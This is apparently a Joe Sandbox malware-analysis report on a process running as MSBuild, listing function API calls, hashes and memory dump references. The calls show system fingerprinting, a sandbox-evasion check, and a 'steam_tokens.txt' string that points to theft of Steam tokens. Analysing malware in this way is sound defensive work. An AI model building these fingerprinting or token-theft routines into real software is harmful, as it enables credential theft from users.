Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5030BE

Part of subcall function 6C5030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C503127
Part of subcall function 6C5030F0: __aulldiv.LIBCMT ref: 6C503140

Part of subcall function 6C53AB2A: __onexit.LIBCMT ref: 6C53AB30

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction ID: ec365c589e8acac7d9e720e375889227bf57a621577fbc23d3694d8014ea9164
Opcode Fuzzy Hash: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction Fuzzy Hash: EDF02D32E21B54D7CB10DF758C416E67370AFAF214F523719E84957561FB2066D883CA

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction ID: 2eda5d4ec063f04fe8048fb8b0a850fc323e1bbd58c3ab932ea79d0f281d5f74
Opcode Fuzzy Hash: 5dd3e3c532ac976404615b3816d87456bc90bb789159ce0b3212725986e21d85
Instruction Fuzzy Hash: BEF03A7994020CFBDB15DFA4DC4AFEA7778EB08310F004498BA1997290D6B4AE85CB95

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416A1C), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,00416A1C), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction ID: 516f97497d3ee46bc55051264f2a31c9d8efacdbd59bd60d04d859dfb32d17c4
Opcode Fuzzy Hash: 3cbd8cc13bf7dc70ab035dff78f9dd202cda3002ce084c09b8f89ce2de56700b
Instruction Fuzzy Hash: 76E08674985308FFE7106BE09C0AB0976B9EB05B05F101055F7087A1D0C6B826009699

Function 00411A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00417500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00417542
Part of subcall function 00417500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041757F
Part of subcall function 00417500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417603
Part of subcall function 00417500: HeapAlloc.KERNEL32(00000000), ref: 0041760A

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 00417690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
Part of subcall function 00417690: HeapAlloc.KERNEL32(00000000), ref: 004176AB

Part of subcall function 004177C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01355500,00000000,?), ref: 004177F2
Part of subcall function 004177C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041DBC0,000000FF,?,00411C99,00000000,?,01355500,00000000,?), ref: 004177F9

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
Part of subcall function 00417980: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
Part of subcall function 00417980: GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
Part of subcall function 00417980: wsprintfA.USER32 ref: 004179F3

Part of subcall function 00417A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
Part of subcall function 00417A30: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
Part of subcall function 00417A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D

Part of subcall function 00417B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01356088,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417B35

Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 00417BE1
Part of subcall function 00417B90: LocalAlloc.KERNEL32(00000040,?), ref: 00417BF9
Part of subcall function 00417B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00417C0D
Part of subcall function 00417B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417C62
Part of subcall function 00417B90: LocalFree.KERNEL32(00000000), ref: 00417D22

Part of subcall function 00417D80: GetSystemPowerStatus.KERNEL32(?), ref: 00417DAD

GetCurrentProcessId.KERNEL32(00000000,?,013556A0,00000000,?,00420E24,00000000,?,00000000,00000000,?,01355FE0,00000000,?,00420E20,00000000), ref: 0041207E

Part of subcall function 00419470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
Part of subcall function 00419470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
Part of subcall function 00419470: CloseHandle.KERNEL32(00000000), ref: 004194AF

Part of subcall function 00417E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
Part of subcall function 00417E00: HeapAlloc.KERNEL32(00000000), ref: 00417E3E
Part of subcall function 00417E00: RegOpenKeyExA.KERNEL32(80000002,01350BE0,00000000,00020119,?), ref: 00417E5E
Part of subcall function 00417E00: RegQueryValueExA.KERNEL32(?,013554E0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
Part of subcall function 00417E00: RegCloseKey.ADVAPI32(?), ref: 00417E92

Part of subcall function 00417F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417FC9
Part of subcall function 00417F60: GetLastError.KERNEL32 ref: 00417FD8

Part of subcall function 00417ED0: GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
Part of subcall function 00417ED0: wsprintfA.USER32 ref: 00417F16

Part of subcall function 00418100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01356028,00000000,?,00420E2C,00000000,?,00000000), ref: 00418130
Part of subcall function 00418100: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,01356028,00000000,?,00420E2C,00000000,?,00000000,00000000), ref: 00418137
Part of subcall function 00418100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00418158
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418172
Part of subcall function 00418100: __aulldiv.LIBCMT ref: 00418180
Part of subcall function 00418100: wsprintfA.USER32 ref: 004181AC

Part of subcall function 004187C0: CreateDCA.GDI32(01340598,00000000,00000000,00000000), ref: 004187F5
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,00000008), ref: 00418804
Part of subcall function 004187C0: GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
Part of subcall function 004187C0: ReleaseDC.USER32(00000000,?), ref: 00418822
Part of subcall function 004187C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
Part of subcall function 004187C0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
Part of subcall function 004187C0: wsprintfA.USER32 ref: 00418850

Part of subcall function 004181F0: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00418254

Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,013534E0,00000000,00020019,00000000,004205B6), ref: 004183A4

Part of subcall function 00418320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
Part of subcall function 00418320: wsprintfA.USER32 ref: 00418459
Part of subcall function 00418320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 0041848C
Part of subcall function 00418320: RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 00418680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Part of subcall function 00418680: Process32First.KERNEL32(?,00000128), ref: 004186DE
Part of subcall function 00418680: Process32Next.KERNEL32(?,00000128), ref: 004186F3
Part of subcall function 00418680: CloseHandle.KERNEL32(?), ref: 00418761

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041265B

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$Closewsprintf$NameOpenlstrcpy$InformationLocal$CapsCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3820780155-0
Opcode ID: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction ID: 920ebc2bd1264ef58e9e042ab956aee0a7d7d625442637cc145e34ec31588ac2
Opcode Fuzzy Hash: 67238461175b16d0f559d7271cfe973b45a91833d20322d4f1dd3c489d9a2da2
Instruction Fuzzy Hash: CA72A172C11018AADB19FB91DD92EEEB33CAF14314F50469FB11662051EF342BDACB69

Function 00415100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(00000000,00000000,00420ACA,?,?,?,?,?,?,0041610B,?), ref: 0041512A

Strings

steam_tokens.txt, xrefs: 0041513F

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction ID: 0b443913f8ff21268bbca5da4ddd77cab48c5630089faae76e13a1e44d6df956
Opcode Fuzzy Hash: 90d951ad21855e740731337b552063bf12abdc695662d06ca1b8b15863fa6e7c
Instruction Fuzzy Hash: E4F06D3194110866CB04F7B2EC539ED733C9F50358F80416EB413620D2EF3C675AC6AA

Function 00417ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420E2C), ref: 00417F00
wsprintfA.USER32 ref: 00417F16

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction ID: 2fbe6902627a031950d7a3fa851ef95510e90209490a35db063d7eb50f57f6da
Opcode Fuzzy Hash: 6e48eb6c373aebad151474fa646ebf8a74f2430de7cecad2b643f906b25ca64a
Instruction Fuzzy Hash: 53F0F6B5A44218FBC710CF84DC45FEAF7BCF744710F50066AF50592280D37929408BD5

Function 0040B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

lstrlenA.KERNEL32(00000000), ref: 0040B9C2
lstrlenA.KERNEL32(00000000), ref: 0040B9D6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction ID: 4e9d2fdd6b59a5819e0b0cc177d60c70936eaf215788bcf9b06e28604354d71c
Opcode Fuzzy Hash: c2dc4afb35a879fc0b70174ab8d9775e4f502b4a9f8844f1bbf0cb2c0b9d0ec5
Instruction Fuzzy Hash: EEE133729111189BDB04FBA1CD92EEE7339AF14314F40456EF50672091EF386B9ACB7A

Function 0040AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B16A
lstrlenA.KERNEL32(00000000), ref: 0040B17E

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
